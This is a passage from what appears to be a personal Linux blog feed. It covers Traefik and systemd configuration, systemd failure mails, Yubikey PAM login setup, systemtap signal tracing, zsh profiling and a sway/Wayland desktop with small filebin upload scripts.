</span><span class="w">      </span><span class="k">rule</span><span class="p">:</span><span class="w"> </span><span class="s2">&#34;PathPrefix(`/prometheus`)&#34;</span><span class="w">
</span><span class="w">      </span><span class="k">service</span><span class="p">:</span><span class="w"> </span>prometheus<span class="w">
</span><span class="w">      </span><span class="k">entryPoints</span><span class="p">:</span><span class="w">
</span><span class="w">        </span>- web-secure<span class="w">
</span><span class="w">      </span><span class="k">tls</span><span class="p">:</span><span class="w"> </span>{}<span class="w">
</span><span class="w">    </span><span class="c"># The grafana-router enables TLS and matches on the /grafana path prefix.</span><span class="w">
</span><span class="w">    </span><span class="k">grafana-router</span><span class="p">:</span><span class="w">
</span><span class="w">      </span><span class="k">rule</span><span class="p">:</span><span class="w"> </span><span class="s2">&#34;PathPrefix(`/grafana`)&#34;</span><span class="w">
</span><span class="w">      </span><span class="k">service</span><span class="p">:</span><span class="w"> </span>grafana<span class="w">
</span><span class="w">      </span><span class="k">entryPoints</span><span class="p">:</span><span class="w">
</span><span class="w">        </span>- web-secure<span class="w">
</span><span class="w">      </span><span class="k">tls</span><span class="p">:</span><span class="w"> </span>{}<span class="w">
</span><span class="w">    </span><span class="c"># The api-router matches on /api and /dashboard path prefixes and forwards the traffic</span><span class="w">
</span><span class="w">    </span><span class="c"># to the traefik internal API.</span><span class="w">
</span><span class="w">    </span><span class="k">api-router</span><span class="p">:</span><span class="w">
</span><span class="w">      </span><span class="k">rule</span><span class="p">:</span><span class="w"> </span><span class="s2">&#34;PathPrefix(`/api`) || PathPrefix(`/dashboard`)&#34;</span><span class="w">
</span><span class="w">      </span><span class="k">service</span><span class="p">:</span><span class="w"> </span>api@internal<span class="w">
</span><span class="w">      </span><span class="k">entryPoints</span><span class="p">:</span><span class="w">
</span><span class="w">        </span>- web-secure<span class="w">
</span><span class="w">      </span><span class="k">tls</span><span class="p">:</span><span class="w"> </span>{}<span class="w">
</span><span class="w">  </span><span class="c"># This map describes the middlewares between routers and services. We use a redirect scheme for HTTPS here.</span><span class="w">
</span><span class="w">  </span><span class="k">middlewares</span><span class="p">:</span><span class="w">
</span><span class="w">    </span><span class="k">https-redirect</span><span class="p">:</span><span class="w">
</span><span class="w">      </span><span class="k">redirectScheme</span><span class="p">:</span><span class="w">
</span><span class="w">        </span><span class="k">scheme</span><span class="p">:</span><span class="w"> </span>https<span class="w">
</span><span class="w">        </span><span class="k">permanent</span><span class="p">:</span><span class="w"> </span><span class="kc">true</span><span class="w">
</span><span class="w">        </span><span class="k">port</span><span class="p">:</span><span class="w"> </span><span class="m">443</span><span class="w">
</span><span class="w">  </span><span class="c"># In services we just describe our services or targets where we want to forward traffic to.</span><span class="w">
</span><span class="w">  </span><span class="k">services</span><span class="p">:</span><span class="w">
</span><span class="w">    </span><span class="k">prometheus</span><span class="p">:</span><span class="w">
</span><span class="w">      </span><span class="k">loadBalancer</span><span class="p">:</span><span class="w">
</span><span class="w">        </span><span class="k">servers</span><span class="p">:</span><span class="w">
</span><span class="w">          </span>- <span class="k">url</span><span class="p">:</span><span class="w"> </span><span class="s2">&#34;http://127.0.0.1:9090/&#34;</span><span class="w">
</span><span class="w">    </span><span class="k">grafana</span><span class="p">:</span><span class="w">
</span><span class="w">      </span><span class="k">loadBalancer</span><span class="p">:</span><span class="w">
</span><span class="w">        </span><span class="k">servers</span><span class="p">:</span><span class="w">
</span><span class="w">          </span>- <span class="k">url</span><span class="p">:</span><span class="w"> </span><span class="s2">&#34;http://127.0.0.1:3000/&#34;</span><span class="w">
</span><span class="w">    </span><span class="k">noop</span><span class="p">:</span><span class="w">
</span><span class="w">      </span><span class="k">loadblanacer</span><span class="p">:</span><span class="w">
</span><span class="w">        </span><span class="k">servers</span><span class="p">:</span><span class="w">
</span><span class="w">	  </span>- <span class="k">url</span><span class="p">:</span><span class="w"> </span><span class="s2">&#34;http://127.0.0.1/&#34;</span><span class="w">
</span></code></pre></div><p>Lastly we set the TLS certificate and key (note that we we need to use the <code>hostname.cert</code> or <code>hostname.key</code> scheme.</p>
<div class="highlight"><pre class="chroma"><code class="language-yaml" data-lang="yaml"><span class="k">tls</span><span class="p">:</span><span class="w">
</span><span class="w">  </span><span class="k">certificates</span><span class="p">:</span><span class="w">
</span><span class="w">    </span>- <span class="k">certFile</span><span class="p">:</span><span class="w"> </span>/etc/traefik/censored.cert<span class="w">
</span><span class="w">      </span><span class="k">keyFile</span><span class="p">:</span><span class="w"> </span>/etc/traefik/censored.key<span class="w">
</span></code></pre></div><p>For starting <code>traefik</code> you can use the following systemd service file:</p>
<div class="highlight"><pre class="chroma"><code class="language-ini" data-lang="ini"><span class="k">[Unit]</span>
<span class="na">Description</span><span class="o">=</span><span class="s">Traefik</span>
<span class="na">Documentation</span><span class="o">=</span><span class="s">https://docs.traefik.io</span>
<span class="na">After</span><span class="o">=</span><span class="s">network-online.target</span>
<span class="na">AssertFileIsExecutable</span><span class="o">=</span><span class="s">/usr/local/bin/traefik</span>
<span class="na">AssertPathExists</span><span class="o">=</span><span class="s">/etc/traefik/traefik.yml</span>

<span class="k">[Service]</span>
<span class="c1"># Run traefik as its own user (create new user with: useradd -r -s /bin/false -U -M traefik)</span>
<span class="na">User</span><span class="o">=</span><span class="s">traefik</span>
<span class="na">AmbientCapabilities</span><span class="o">=</span><span class="s">CAP_NET_BIND_SERVICE</span>

<span class="c1"># configure service behavior</span>
<span class="na">Type</span><span class="o">=</span><span class="s">notify</span>
<span class="na">ExecStart</span><span class="o">=</span><span class="s">/usr/local/bin/traefik --configFile=/etc/traefik/traefik.yml</span>
<span class="na">Restart</span><span class="o">=</span><span class="s">always</span>
<span class="na">WatchdogSec</span><span class="o">=</span><span class="s">1s</span>

<span class="c1"># lock down system access</span>
<span class="c1"># prohibit any operating system and configuration modification</span>
<span class="na">ProtectSystem</span><span class="o">=</span><span class="s">strict</span>
<span class="c1"># create separate, new (and empty) /tmp and /var/tmp filesystems</span>
<span class="na">PrivateTmp</span><span class="o">=</span><span class="s">true</span>
<span class="c1"># make /home directories inaccessible</span>
<span class="na">ProtectHome</span><span class="o">=</span><span class="s">true</span>
<span class="c1"># turns off access to physical devices (/dev/...)</span>
<span class="na">PrivateDevices</span><span class="o">=</span><span class="s">true</span>
<span class="c1"># make kernel settings (procfs and sysfs) read-only</span>
<span class="na">ProtectKernelTunables</span><span class="o">=</span><span class="s">true</span>
<span class="c1"># make cgroups /sys/fs/cgroup read-only</span>
<span class="na">ProtectControlGroups</span><span class="o">=</span><span class="s">true</span>

<span class="c1"># allow writing of acme.json</span>
<span class="c1">#ReadWritePaths=/etc/traefik/acme.json</span>
<span class="c1"># depending on log and entrypoint configuration, you may need to allow writing to other paths, too</span>

<span class="c1"># limit number of processes in this unit</span>
<span class="c1">#LimitNPROC=1</span>

<span class="k">[Install]</span>
<span class="na">WantedBy</span><span class="o">=</span><span class="s">multi-user.target</span>
</code></pre></div>]]></content></item><item><title>Systemd Mail</title><link>https://shibumi.dev/posts/systemd-mail/</link><pubDate>Sat, 12 Oct 2019 15:46:06 +0200</pubDate><guid>https://shibumi.dev/posts/systemd-mail/</guid><description>In this small article I am going to explain how to setup a small systemd service for notifications in case of failing systemd services.
You&amp;rsquo;ll need the following software for it:
systemd a mail transfer agent (postfix, qmail, exim, name your poison) sendmail (or any other application that can send mails) I chose sendmail. First create /usr/local/bin/systemd-mail:
#!/bin/bash sendmail -i -t &amp;lt;&amp;lt;ERRMAIL To: &amp;lt;your mail address&amp;gt; From: systemd &amp;lt;root@$HOSTNAME&amp;gt; Subject: [$HOSTNAME] $1 Content-Transfer-Encoding: 8bit Content-Type: text/plain; charset=UTF-8 $(systemctl status --full &amp;#34;$1&amp;#34;) ERRMAIL Then create this systemd service:</description><content type="html"><![CDATA[<p>In this small article I am going to explain how to setup a small systemd service for notifications in case of failing systemd services.</p>
<p>You&rsquo;ll need the following software for it:</p>
<ul>
<li>systemd</li>
<li>a mail transfer agent (postfix, qmail, exim, name your poison)</li>
<li>sendmail (or any other application that can send mails)</li>
</ul>
<p>I chose sendmail. First create <code>/usr/local/bin/systemd-mail</code>:</p>
<div class="highlight"><pre class="chroma"><code class="language-bash" data-lang="bash"><span class="cp">#!/bin/bash
</span><span class="cp"></span>
sendmail -i -t <span class="s">&lt;&lt;ERRMAIL
</span><span class="s">To: &lt;your mail address&gt;
</span><span class="s">From: systemd &lt;root@$HOSTNAME&gt;
</span><span class="s">Subject: [$HOSTNAME] $1
</span><span class="s">Content-Transfer-Encoding: 8bit
</span><span class="s">Content-Type: text/plain; charset=UTF-8
</span><span class="s">
</span><span class="s">$(systemctl status --full &#34;$1&#34;)
</span><span class="s">ERRMAIL</span>
</code></pre></div><p>Then create this systemd service:</p>
<div class="highlight"><pre class="chroma"><code class="language-systemd" data-lang="systemd"><span class="k">[Unit]</span>
<span class="na">Description</span><span class="o">=</span><span class="s">status email for %i to user</span>

<span class="k">[Service]</span>
<span class="na">Type</span><span class="o">=</span><span class="s">oneshot</span>
<span class="na">ExecStart</span><span class="o">=</span><span class="s">/usr/local/bin/systemd-email %i</span>
<span class="na">User</span><span class="o">=</span><span class="s">nobody</span>
<span class="na">Group</span><span class="o">=</span><span class="s">systemd-journal</span>
</code></pre></div><p>The parameter <code>%i</code> works as variable for the corresponding systemd services.</p>
<p>Now you can add the following Line to every systemd service you like to monitor (the line has to be in the <code>[Unit]</code> section): <code>OnFailure=systemd-email@%n.service</code>. <code>%n</code> contains the name of the service, that way it will be correctly replaced in the subject of the mail.</p>
<p>You can also use other keywords than <code>OnFailure</code>. Just checkout the systemd man pages.</p>
]]></content></item><item><title>Login via Yubikey on Linux (U2F)</title><link>https://shibumi.dev/posts/login-via-yubikey-on-linux-u2f/</link><pubDate>Sun, 29 Sep 2019 00:06:57 +0200</pubDate><guid>https://shibumi.dev/posts/login-via-yubikey-on-linux-u2f/</guid><description>I was very happy with my HMAC challenge-response solution for my Yubikey, but when I wanted to configure my i3 status bar to show the current state of the key I ran into issues. The problem was that I couldn&amp;rsquo;t see the state for the HMAC challenge. Watching the state (shall I press a button now to activate the key) for GPG worked fine, but I had trouble with the HMAC challenge.</description><content type="html"><![CDATA[<p>I was very happy with my HMAC challenge-response solution for my Yubikey, but when I wanted to configure my i3 status bar to show the current state of the key I ran into issues.
The problem was that I couldn&rsquo;t see the state for the HMAC challenge. Watching the state (shall I press a button now to activate the key) for GPG worked fine, but I had trouble with the HMAC challenge.
Even the tool <a href="https://github.com/maximbaz/yubikey-touch-detector">yubikey-touch-detector</a> didn&rsquo;t do what I wanted. So I opened an issue and Maxim (the maintainer of the project) lead me in the right direction: <a href="https://support.yubico.com/support/solutions/articles/15000011356-ubuntu-linux-login-guide-u2f">pam-u2f</a>.</p>
<p>It&rsquo;s possible to use <code>U2F</code> for authenticating!</p>
<p>To summarize this. There are two pam modules from Yubico:</p>
<ul>
<li><code>yubico-pam</code>: This module is for HMAC challenge-response and maybe more stuff (I didn&rsquo;t look in detail into it)</li>
<li><code>pam-u2f</code>: This module is the official Yubico module for <code>U2F</code>, <code>FIDO</code>, <code>FIDO2</code>. And it has a few advantages, but more about them later.</li>
</ul>
<p>The <code>yubico-pam</code> module needs a second configured slot on the Yubikey for the HMAC challenge. Therefore one whole slot on the Yubikey is blocked only for this purpose. A slot where you could do other fancy stuff with (a static password as master password for your disk encryption for example). Also HMAC uses <code>SHA1</code> as hash function for the challenge, we all know that <code>SHA1</code> is broken already, but I would say it&rsquo;s secure for the challenge (because the hashed message M is always different for every challenge, I am wrong, please correct me). Another problem is that <code>yubico-pam</code> hasn&rsquo;t seen a release for over a year now (last release is from April 2018).</p>
<p>So I have configured my laptop for <code>pam-u2f</code>. With this module I have the following advantages:</p>
<ul>
<li>A free second slot to use (maybe as static password for my hard drive encryption or I just leave it blank).</li>
<li>The module is actually maintained and developed (last release from June 2019).</li>
<li>The <code>U2F</code> is a broader known standard. HMAC challenge-response has been created for applications asking for authentication.</li>
<li>I can use the <code>yubikey-touch-detector</code> to visualize the <code>U2F</code> challenge request in my i3 status bar (for this I use <a href="https://github.com/soumya92/barista">barista</a>)</li>
</ul>
<p>The next big question is: How have I configured <code>U2F</code> for logins on my device?</p>
<p>It&rsquo;s not so different. I have created for both users (my daily user &ldquo;chris&rdquo; and my administrator account &ldquo;root&rdquo;) the following file in the home directory:</p>
<div class="highlight"><pre class="chroma"><code class="language-bash" data-lang="bash">$ pamu2fcfg &gt; ~/.config/Yubico/u2f_keys
</code></pre></div><p>In case of the root user, I need to create the <code>~/.config/Yubico/</code> directory first. For my daily user the directory was already there, because Yubico-Manager saved configuration in it.</p>
<p>If you want to attach a second key as backup you can do:</p>
<div class="highlight"><pre class="chroma"><code class="language-bash" data-lang="bash">$ pamu2fcfg -n &gt;&gt; ~/.config/Yubico/u2f_keys
</code></pre></div><p>After each operation you need to <strong>short</strong> press the Yubikey. With HMAC you needed to <strong>long</strong> press here, because the configuration for it was on the second slot.</p>
<p>Next you need to modify <code>/etc/pam.d/system-auth</code> again (remove the old <code>yubico-pam</code> line there):</p>
<pre><code>[..]
auth      sufficient pam_u2f.so
auth      required  pam_unix.so     try_first_pass nullok
[..]
</code></pre><p>Same as with <code>yubico-pam</code>, you can use the keyword <code>sufficient</code> here to use the Yubikey <strong>or</strong> the password to login. If you want <strong>true</strong> 2FA experience use the keyword <code>required</code>, then you will need both for the login.</p>
<p>The whole process is explained on the official Yubico page (<a href="https://support.yubico.com/support/solutions/articles/15000011356-ubuntu-linux-login-guide-u2f">https://support.yubico.com/support/solutions/articles/15000011356-ubuntu-linux-login-guide-u2f</a>) as well. The only difference is that I&rsquo;ve modified <code>/etc/pam.d/system-auth</code> instead of <code>/etc/pam.d/sudo</code> (for sudo) and <code>/etc/pam.d/common-auth</code> for common logins. I guess <code>common-auth</code> is important for graphical logins via loginmanager, but I am not sure about it, because I just use the TTY to login.</p>
]]></content></item><item><title>Login via Yubikey on Linux (HMAC)</title><link>https://shibumi.dev/posts/login-via-yubikey-on-linux-hmac/</link><pubDate>Fri, 27 Sep 2019 18:03:17 +0200</pubDate><guid>https://shibumi.dev/posts/login-via-yubikey-on-linux-hmac/</guid><description>In this small article I want to explain how to use your Yubikey as 2-factor device for logins on Linux. I used the &amp;ldquo;Yubikey 5&amp;rdquo; for this article. If you use an older one, some option will maybe not work. Make sure to read https://developers.yubico.com/yubikey-personalization/Manuals/ykpersonalize.1.html before reading further.
You need the following Arch Linux packages for this tutorial:
yubico-pam yubikey-manager yubikey-personalization yubico-c If you have a fresh Yubikey, the second slot or second configuration should be free, but you can verify this with using the following command:</description><content type="html"><![CDATA[<p>In this small article I want to explain how to use your Yubikey as 2-factor device for logins on Linux.
I used the &ldquo;Yubikey 5&rdquo; for this article. If you use an older one, some option will maybe not work.
Make sure to read <a href="https://developers.yubico.com/yubikey-personalization/Manuals/ykpersonalize.1.html">https://developers.yubico.com/yubikey-personalization/Manuals/ykpersonalize.1.html</a> before reading further.</p>
<p>You need the following Arch Linux packages for this tutorial:</p>
<ul>
<li>yubico-pam</li>
<li>yubikey-manager</li>
<li>yubikey-personalization</li>
<li>yubico-c</li>
</ul>
<p>If you have a fresh Yubikey, the second slot or second configuration should be free, but you can verify this with using the following command:</p>
<div class="highlight"><pre class="chroma"><code class="language-bash" data-lang="bash">$ ykinfo -1 -2
slot1_status: <span class="m">1</span>
slot2_status: <span class="m">1</span>
</code></pre></div><p>If both slots show the number 1, both slots are configured. If one of them shows 0, the slot is not configured. Normally it should look like this with a fresh key:</p>
<div class="highlight"><pre class="chroma"><code class="language-bash" data-lang="bash">$ ykinfo -1 -2
slot1_status: <span class="m">1</span>
slot2_status: <span class="m">0</span>
</code></pre></div><p>The first slot is for Yubico OTP. Yubico OTP needs internet access for connecting to the Yubikey Servers for verifying the challenge, you mostly use this for FIDO/FIDO2 logins on websites. We can&rsquo;t guarantee internet access on our laptop, so we will use the slot 2 instead.</p>
<p>The following command will configure the slot 2 for a challenge: <code>ykpersonalize -2 -ochal-resp -ochal-hmac -ohmac-lt64 -oserial-api-visible -ochal-btn-trig</code>.</p>
<p>Let&rsquo;s analyze the command, so we know what&rsquo;s going on:</p>
<ul>
<li><code>ykpersonalize</code>: Is the the Yubico tool for configuring your Yubikey.</li>
<li><code>-2</code>: Means that we want to configure the second slot.</li>
<li><code>-ochal-resp</code>: Refers to &ldquo;challenge-response&rdquo; mode, the mode we want to configure for logins.</li>
<li><code>-ochal-hmac</code>: This is our &ldquo;message authentication code&rdquo; for the challenge. Message authentication codes are used for providing integrity to a message. HMAC uses a hash function (for example SHA-1) for calculating a hash of our message and an outer and inner pad. The outer and inner pads are just constants, that are added to the stream on different moments during the hash calculation. If you want to read more about HMAC, you can do this here: <a href="https://tools.ietf.org/html/rfc2104">https://tools.ietf.org/html/rfc2104</a></li>
<li><code>-ochmac-lt64</code>: This means we calculate the HMAC on less than 64 bytes input.</li>
<li><code>-oserial-api-visible</code>: The Yubikey will allow its serial number to be read using an API call.</li>
<li><code>-ochal-btn-trig</code>: The Yubikey will ask for confirmation on every challenge via button pressing.</li>
</ul>
<p>If you have triggered this command, you can verify if the second slot has been configured via: <code>ykinfo -2</code>.
Then you need to create a <code>.yubico</code> directory in the home directories of the users you want to auth via Yubikey (for example: <code>mkdir /home/chris/.yubico</code>). For the challenge we generate a challenge and store it in the yubico directory via: <code>ykpamcfg -2 -v</code>.</p>
<p>The last step is configuring <code>/etc/pam.d/system-auth</code>. You should see this line in your <code>/etc/pam.d/system-auth</code> file (<strong>you want to open a root shell while editing pam, in case you lock yourself out</strong>):</p>
<pre><code>[..]
auth      required  pam_unix.so     try_first_pass nullok
[..]
</code></pre><p>You need to add the following line before this line: <code>auth sufficient pam_yubico.so mode=challenge-response</code>. Therefore it should look like this:</p>
<pre><code>[..]
auth      sufficient pam_yubico.so mode=challenge-response
auth      required  pam_unix.so     try_first_pass nullok
</code></pre><p>With the keyword <code>sufficient</code> we specify that either one of our authentication elements are sufficient. Hence we can use our normal password for authentication <strong>or</strong> or yubikey with long pressing on the button.
If you prefer real 2-factor authentication you can substitute this keyword with the keyword <code>required</code>. Then you will need <strong>both</strong> for logging in, the password <strong>and</strong> the Yubikey.</p>
]]></content></item><item><title>How to trace Linux signals</title><link>https://shibumi.dev/posts/how-to-trace-linux-signals/</link><pubDate>Thu, 26 Sep 2019 23:10:42 +0200</pubDate><guid>https://shibumi.dev/posts/how-to-trace-linux-signals/</guid><description>Did you ever run into the problem, that a random process on your hosts is running amok and killing other processes? If so, you know how painful it is to find the process. But there is a solution for it: systemtap.
Just install systemtap on your system, write a small stap script for it and run it, and it will show you the evil process:
#!/usr/bin/stap # sigkill.stp # Copyright (C) 2007 Red Hat, Inc.</description><content type="html"><![CDATA[<p>Did you ever run into the problem, that a random process on your hosts is running amok and killing other processes? If so, you know how painful it is to find the process. But there is a solution for it: <strong>systemtap</strong>.</p>
<p>Just install <strong>systemtap</strong> on your system, write a small <strong>stap</strong> script for it and run it, and it will show you the evil process:</p>
<div class="highlight"><pre class="chroma"><code class="language-bash" data-lang="bash"><span class="cp">#!/usr/bin/stap
</span><span class="cp"></span><span class="c1"># sigkill.stp</span>
<span class="c1"># Copyright (C) 2007 Red Hat, Inc., Eugene Teo &lt;eteo@redhat.com&gt;</span>
#
<span class="c1"># This program is free software; you can redistribute it and/or modify</span>
<span class="c1"># it under the terms of the GNU General Public License version 2 as</span>
<span class="c1"># published by the Free Software Foundation.</span>
#
<span class="c1"># /usr/share/systemtap/tapset/signal.stp:</span>
<span class="c1"># [...]</span>
<span class="c1"># probe signal.send = _signal.send.*</span>
<span class="c1"># {</span>
<span class="c1"># 	sig=$sig</span>
<span class="c1"># 	sig_name = _signal_name($sig)</span>
<span class="c1"># 	sig_pid = task_pid(task)</span>
<span class="c1"># 	pid_name = task_execname(task)</span>
<span class="c1"># [...]</span>

probe signal.send <span class="o">{</span>
  <span class="k">if</span> <span class="o">(</span><span class="nv">sig_name</span> <span class="o">==</span> <span class="s2">&#34;SIGKILL&#34;</span><span class="o">)</span>
    printf<span class="o">(</span><span class="s2">&#34;%s was sent to %s (pid:%d) by %s uid:%d\n&#34;</span>,
           sig_name, pid_name, sig_pid, execname<span class="o">()</span>, uid<span class="o">())</span>
<span class="o">}</span>
</code></pre></div><p>Run it with: <code>stap sigkill.stp</code>.</p>
]]></content></item><item><title>Zsh Performance</title><link>https://shibumi.dev/posts/zsh-performance/</link><pubDate>Sun, 21 Jul 2019 21:45:05 +0200</pubDate><guid>https://shibumi.dev/posts/zsh-performance/</guid><description>I use zsh for a pretty long time now. It began with zsh + grml configuration, went over the famous powerlevel9k (where I helped implementing a few features like svn support) and currently ended with my own zsh configuration: Hikari-ZSH
I have to admit I have been quite happy with powerlevel9k. It had a rich feature set and I have been in love with all these shiny UTF-8 icons and powerline graphics.</description><content type="html"><![CDATA[<p>I use <strong>zsh</strong> for a pretty long time now. It began with <strong>zsh</strong> + <strong>grml</strong>
configuration, went over the famous <strong>powerlevel9k</strong> (where I helped implementing
a few features like <strong>svn</strong> support) and currently ended with my own <strong>zsh</strong>
configuration: <a href="https://github.com/shibumi/hikari-zsh">Hikari-ZSH</a></p>
<p>I have to admit I have been quite happy with <strong>powerlevel9k</strong>. It had a rich
feature set and I have been in love with all these shiny <strong>UTF-8</strong> icons and
powerline graphics. Just one thing bothered me: <strong>performance</strong>. It has been an
absolutly no-go for me, that I had to wait for my zsh between inputs. I am not
a speed fetishist, but I expect a good shell to give feedback at a pace of
<strong>&lt;400ms</strong>. This is called the <strong>Doherty Threshold</strong> and ensures a good user
experience (UX). Everything above this threshold will let the user wait and
waiting means frustration. So I developed the idea of a new <strong>zsh</strong> configuration
that fits my needs. In the end I landed on a few snippets of the <strong>grml</strong>
configuration flavored with own functions, an own prompt and a few unique
keyboard shortcuts, like surround features for quotes. But how do we measure
<strong>zsh</strong> performance? Well, it&rsquo;s quite easy just put this line before <strong>all</strong> zsh
configuration: <strong>zhmod zsh/zprof</strong>. Another way to measure startup time is: <code>time zsh -i -c exit</code>.</p>
]]></content></item><item><title>My Way to Wayland</title><link>https://shibumi.dev/posts/my-way-to-wayland/</link><pubDate>Fri, 12 Jul 2019 22:03:07 +0200</pubDate><guid>https://shibumi.dev/posts/my-way-to-wayland/</guid><description>I guess everybody knows that X11 aka Xorg is a pain in the ass and a security nightmare. Therefore it shouldn&amp;rsquo;t be such a suprise that I think about switching to Wayland for a long time now. And it looks like it&amp;rsquo;s finally the day, where I can switch to wayland without effects on my convenience.
TL;DR here is the link to my dotfiles with the whole configuration: https://github.com/shibumi/dotfiles
But first let&amp;rsquo;s sum up what I need:</description><content type="html"><![CDATA[<p>I guess everybody knows that X11 aka Xorg is a pain in the ass and a security nightmare.
Therefore it shouldn&rsquo;t be such a suprise that I think about switching to Wayland for a long time now.
And it looks like it&rsquo;s finally the day, where I can switch to wayland without effects on my convenience.</p>
<p><strong>TL;DR</strong> here is the link to my dotfiles with the whole configuration: <a href="https://github.com/shibumi/dotfiles">https://github.com/shibumi/dotfiles</a></p>
<p>But first let&rsquo;s sum up what I need:</p>
<ul>
<li>Screen-recording</li>
<li>Screenshots</li>
<li>Screen-locking</li>
<li>A nice tiling window manager</li>
<li>A dmenu/rofi like menu library with a client</li>
<li>A notification daemon</li>
<li>Setting a background</li>
<li>Setting brightness of the background</li>
</ul>
<p>I&rsquo;ve decided to go with the following setup:</p>
<ul>
<li><a href="https://github.com/ammen99/wf-recorder">wf-recorder</a> for screen-recording</li>
<li><a href="https://github.com/emersion/grim">grim</a> for screenshots</li>
<li><a href="https://github.com/swaywm/swaylock">swaylock</a> for screen-locking</li>
<li><a href="https://github.com/swaywm/sway">sway</a> the i3-compatible wayland compositor</li>
<li><a href="https://github.com/davatorium/rofi">rofi</a> as menu library. Unfortunately it&rsquo;s not a native wayland application. So I hope I can replace it with something awesome in the future.</li>
<li><a href="https://github.com/emersion/mako">mako</a> as wayland-ready notification daemon</li>
<li><a href="https://github.com/swaywm/swaybg">swaybg</a> for setting a background</li>
<li><a href="https://github.com/Hummer12007/brightnessctl">brightnessctl</a> for setting brightness</li>
</ul>
<p>So, how do I start sway? I&rsquo;ve build a statement in my <code>.zshrc</code> file to start sway automatically, when I
login into my <code>TTY1</code>:</p>
<div class="highlight"><pre class="chroma"><code class="language-bash" data-lang="bash"><span class="k">if</span> <span class="o">[</span> <span class="s2">&#34;</span><span class="k">$(</span>tty<span class="k">)</span><span class="s2">&#34;</span> <span class="o">=</span> <span class="s2">&#34;/dev/tty1&#34;</span> <span class="o">]</span><span class="p">;</span> <span class="k">then</span>
	<span class="nb">exec</span> sway
<span class="k">fi</span>
</code></pre></div><p>My mako configuration looks like this:</p>
<div class="highlight"><pre class="chroma"><code class="language-ini" data-lang="ini"><span class="na">font</span><span class="o">=</span><span class="s">Inconsolata 14</span>
<span class="na">background-color</span><span class="o">=</span><span class="s">#151718</span>
<span class="na">text-color</span><span class="o">=</span><span class="s">#9FCA56</span>
<span class="na">border-color</span><span class="o">=</span><span class="s">#151718</span>

<span class="k">[urgency=high]</span>
<span class="na">text-color</span><span class="o">=</span><span class="s">#CD3F45</span>
</code></pre></div><p>The mako configuration sets some font and color configurations on-default and a special text color for notifications with urgency <code>high</code>.</p>
<p>My sway configuration is the same as with my i3 configuration, the only difference is this specific section here:</p>
<div class="highlight"><pre class="chroma"><code class="language-bash" data-lang="bash"><span class="c1"># Setting sway specific inputs</span>
input * xkb_layout <span class="s2">&#34;de&#34;</span>
input * xkb_variant <span class="s2">&#34;us&#34;</span>

<span class="c1"># Setting sway specific executions</span>
<span class="nb">exec</span> mako
<span class="nb">exec</span> swaybg -c <span class="s2">&#34;#151718&#34;</span>
</code></pre></div><p>This configuration will set my us/de hybrid keymap layout and will autoexecute mako and swaybg on sway start.</p>
<p>The next big question is:&ldquo;How do I share screenshots? Record my Screen or share copypasted text?&quot;.
Well, I have a solution for this as well. Here is my small shell script for sharing text via filebin:</p>
<div class="highlight"><pre class="chroma"><code class="language-bash" data-lang="bash"><span class="cp">#!/bin/bash
</span><span class="cp"></span><span class="nb">readonly</span> <span class="nv">TEXTSHOTDIR</span><span class="o">=</span><span class="s2">&#34;</span><span class="nv">$HOME</span><span class="s2">/.cache/textshot/&#34;</span>

<span class="k">if</span> <span class="o">[[</span> ! -e <span class="s2">&#34;</span><span class="nv">$TEXTSHOTDIR</span><span class="s2">&#34;</span> <span class="o">]]</span><span class="p">;</span> <span class="k">then</span>
  mkdir -p <span class="s2">&#34;</span><span class="nv">$TEXTSHOTDIR</span><span class="s2">&#34;</span>
<span class="k">fi</span>
<span class="nb">readonly</span> <span class="nv">TIME</span><span class="o">=</span><span class="s2">&#34;</span><span class="k">$(</span>date +%Y-%m-%d-%H-%M-%S<span class="k">)</span><span class="s2">&#34;</span>
<span class="nb">readonly</span> <span class="nv">TEXTPATH</span><span class="o">=</span><span class="s2">&#34;</span><span class="nv">$TEXTSHOTDIR</span><span class="s2">/text-</span><span class="nv">$TIME</span><span class="s2">.txt&#34;</span>
wl-paste &gt;<span class="s2">&#34;</span><span class="nv">$TEXTPATH</span><span class="s2">&#34;</span>
<span class="nb">readonly</span> <span class="nv">OUTPUT</span><span class="o">=</span><span class="s2">&#34;</span><span class="k">$(</span>fb <span class="s2">&#34;</span><span class="nv">$TEXTPATH</span><span class="s2">&#34;</span><span class="k">)</span><span class="s2">&#34;</span>
wl-copy <span class="s2">&#34;</span><span class="nv">$OUTPUT</span><span class="s2">&#34;</span>
notify-send <span class="s2">&#34;Text uploaded&#34;</span> <span class="s2">&#34;</span><span class="nv">$OUTPUT</span><span class="s2">&#34;</span>
</code></pre></div><p>Taking a screenshot and sharing it via filebin is quite simple as well (btw feel free to fork it and modify it to your needs. All snippets are licensed under GPLv3):</p>
<div class="highlight"><pre class="chroma"><code class="language-bash" data-lang="bash"><span class="cp">#!/bin/bash
</span><span class="cp"></span><span class="nb">readonly</span> <span class="nv">SCREENSHOTDIR</span><span class="o">=</span><span class="s2">&#34;</span><span class="nv">$HOME</span><span class="s2">/.cache/screenshot&#34;</span>

<span class="k">if</span> <span class="o">[[</span> ! -e <span class="s2">&#34;</span><span class="nv">$SCREENSHOTDIR</span><span class="s2">&#34;</span> <span class="o">]]</span><span class="p">;</span> <span class="k">then</span>
  mkdir -p <span class="s2">&#34;</span><span class="nv">$SCREENSHOTDIR</span><span class="s2">&#34;</span>
<span class="k">fi</span>
<span class="nb">readonly</span> <span class="nv">TIME</span><span class="o">=</span><span class="s2">&#34;</span><span class="k">$(</span>date +%Y-%m-%d-%H-%M-%S<span class="k">)</span><span class="s2">&#34;</span>
<span class="nb">readonly</span> <span class="nv">IMGPATH</span><span class="o">=</span><span class="s2">&#34;</span><span class="nv">$SCREENSHOTDIR</span><span class="s2">/img-</span><span class="nv">$TIME</span><span class="s2">.png&#34;</span>
grim -g <span class="s2">&#34;</span><span class="k">$(</span>slurp<span class="k">)</span><span class="s2">&#34;</span> <span class="s2">&#34;</span><span class="nv">$IMGPATH</span><span class="s2">&#34;</span>
<span class="nb">readonly</span> <span class="nv">OUTPUT</span><span class="o">=</span><span class="s2">&#34;</span><span class="k">$(</span>fb <span class="s2">&#34;</span><span class="nv">$IMGPATH</span><span class="s2">&#34;</span><span class="k">)</span><span class="s2">&#34;</span>
wl-copy <span class="s2">&#34;</span><span class="nv">$OUTPUT</span><span class="s2">&#34;</span>
notify-send <span class="s2">&#34;Screenshot uploaded&#34;</span> <span class="s2">&#34;</span><span class="nv">$OUTPUT</span><span class="s2">&#34;</span>
</code></pre></div><p>And finally my solution for sharing screen recordings on the fly (this is a little bit longer):</p>
<div class="highlight"><pre class="chroma"><code class="language-bash" data-lang="bash"><span class="cp">#!/bin/bash
